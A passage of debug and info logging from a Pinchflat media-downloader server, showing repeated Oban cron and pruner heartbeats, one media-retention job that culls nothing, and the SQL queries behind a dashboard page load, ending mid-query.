{"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:29.342 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:59.344 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.196 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:29.346 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:59.348 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.197 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:29.350 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:59.352 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.198 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:29.354 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:59.356 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.199 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:29.358 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:59.360 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.200 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:29.362 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:59.364 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.201 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:29.366 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:59.368 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.202 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:29.370 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:59.372 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.203 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:29.374 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:59.376 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.204 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:29.378 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:59.380 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.205 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:29.382 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:59.384 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.206 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:29.386 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:59.388 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.207 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:29.390 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:59.392 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.208 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:29.394 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:59.396 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.209 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:29.398 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:59.400 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.210 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:29.402 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:59.404 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.211 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:29.406 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:59.408 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.212 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:29.410 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:59.412 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.213 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:29.414 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:59.416 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.214 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:29.418 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:59.420 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.215 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:29.422 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:59.424 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.216 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:29.426 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:59.428 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.217 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:29.430 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:59.432 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.218 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:29.434 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:59.436 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.219 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:29.438 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:59.440 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.220 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:29.442 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:59.444 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.221 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:29.446 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:59.448 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.222 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:29.450 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:59.452 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.223 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:29.454 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:59.456 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.224 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:29.458 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:59.460 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.225 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:29.462 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:59.464 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.226 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:29.466 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:59.468 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.229 [info] {"source":"oban","duration":2346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2628]} 18:00:00.236 [info] {"args":{},"id":2628,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765674000236594022,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 18:00:00.240 [debug] QUERY OK source="media_items" db=3.3ms idle=1117.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.240 [info] Culling 0 media items past their retention date 18:00:00.244 [debug] QUERY OK source="media_items" db=3.5ms idle=772.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.244 [info] Deleting 0 media items that are from before the source cutoff 18:00:00.245 [info] {"args":{},"id":2628,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":8208,"event":"job:stop","queue_time":235088,"attempt":1,"tags":["media_item","local_data"]} 18:00:29.470 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:59.472 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.230 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:29.474 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:59.476 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.231 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:29.478 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:59.480 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.232 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:29.482 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:59.485 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.233 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:29.487 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:59.489 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.234 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:29.491 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:59.493 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.235 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:29.495 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:59.497 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.237 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:29.499 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:59.501 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.238 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:29.503 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:59.505 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.239 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:29.507 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:59.509 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.240 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:29.511 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:59.513 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.241 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:29.515 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:59.517 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.242 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:29.519 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:59.521 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.243 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:29.523 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:59.526 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.244 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:29.528 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:59.530 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.245 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:29.532 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:59.534 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.246 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:29.536 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:59.538 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.247 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:29.540 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:59.542 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.248 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:29.544 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:59.546 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.249 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:29.548 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:59.550 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.250 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:29.552 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:59.554 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.251 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:29.556 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:59.558 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.252 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:29.560 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:59.562 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.253 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:29.564 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:59.565 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.254 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:27.101 [info] GET / 18:24:27.101 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:24:27.102 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1005.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.103 [debug] QUERY OK source="media_profiles" db=0.3ms idle=458.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:24:27.103 [debug] QUERY OK source="sources" db=0.2ms idle=459.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:24:27.108 [debug] QUERY OK source="media_items" db=4.6ms idle=459.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:24:27.109 [debug] QUERY OK source="media_items" db=0.9ms idle=10.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:24:27.110 [debug] QUERY OK source="settings" db=0.3ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.111 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.112 [debug] QUERY OK source="settings" db=0.2ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.115 [debug] QUERY OK source="tasks" db=0.4ms idle=6.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:24:27.117 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:24:27.118 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:24:27.119 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 18:24:27.129 [debug] QUERY OK source="media_items" db=5.5ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 